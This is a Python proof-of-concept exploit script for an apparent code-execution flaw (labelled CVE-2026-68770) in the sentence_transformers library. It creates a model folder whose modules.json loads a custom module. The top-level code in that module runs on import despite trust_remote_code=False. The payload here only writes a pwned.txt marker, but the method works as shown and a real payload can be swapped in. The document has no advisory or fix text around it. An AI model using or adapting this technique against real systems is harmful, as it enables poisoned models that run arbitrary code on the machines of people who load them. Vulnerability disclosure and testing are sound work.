Payload

import os
import sys
from sentence_transformers import SentenceTransformer

# Define the directory for the malicious model
model_path = "./malicious-model-directory"
os.makedirs(model_path, exist_ok=True)

# Create a modules.json file that points to a custom Python module
# This file tells SentenceTransformer how to load the model components.
# We define a component of type `modeling_malicious.MaliciousModel`.
modules_json_content = """
[
    {
        "idx": 0,
        "name": "0_malicious",
        "type": "modeling_malicious.MaliciousModel",
        "path": ""
    }
]
"""
with open(os.path.join(model_path, "modules.json"), "w") as f:
    f.write(modules_json_content)

# Create the malicious Python file (modeling_malicious.py)
# The code at the top level of this file will be executed upon import.
# This happens when SentenceTransformer tries to load the `MaliciousModel` class.
malicious_code_content = f"""
import os
import torch.nn as nn

# --- This is the arbitrary code that will be executed ---
print("!!! PAYLOAD EXECUTED: Arbitrary Code Execution Successful !!!")
# As a proof of concept, create a file in the current directory.
with open("pwned.txt", "w") as f:
    f.write("Exploited by CVE-2026-68770")
# --- End of malicious payload ---

# A dummy class is required to prevent the loading process from crashing
# after the malicious code has already run.
class MaliciousModel(nn.Module):
    def __init__(self):
        super(MaliciousModel, self).__init__()
    def forward(self, features):
        return features
"""
with open(os.path.join(model_path, "modeling_malicious.py"), "w") as f:
    f.write(malicious_code_content)

# This script simulates a victim application loading the model from a local path.
# The `trust_remote_code=False` argument is bypassed because the path exists locally,
# triggering the vulnerability.
print(f"[*] Simulating victim: Loading model from '{model_path}' with trust_remote_code=False")
try:
    # This call triggers the import of modeling_malicious.py, executing the payload.
    model = SentenceTransformer(model_path, trust_remote_code=False)
    print("[*] Model loading process completed.")
    if os.path.exists("pwned.txt"):
        print("[+] SUCCESS: 'pwned.txt' file created. The vulnerability was exploited.")
        os.remove("pwned.txt") # Clean up the proof file
    else:
        print("[-] FAILED: Payload did not execute as expected.")
except Exception as e:
    print(f"[!] An error occurred during model loading: {e}")

# Clean up the malicious model files
finally:
    os.remove(os.path.join(model_path, "modules.json"))
    os.remove(os.path.join(model_path, "modeling_malicious.py"))
    os.rmdir(model_path)
    print("[*] Cleaned up malicious model files.")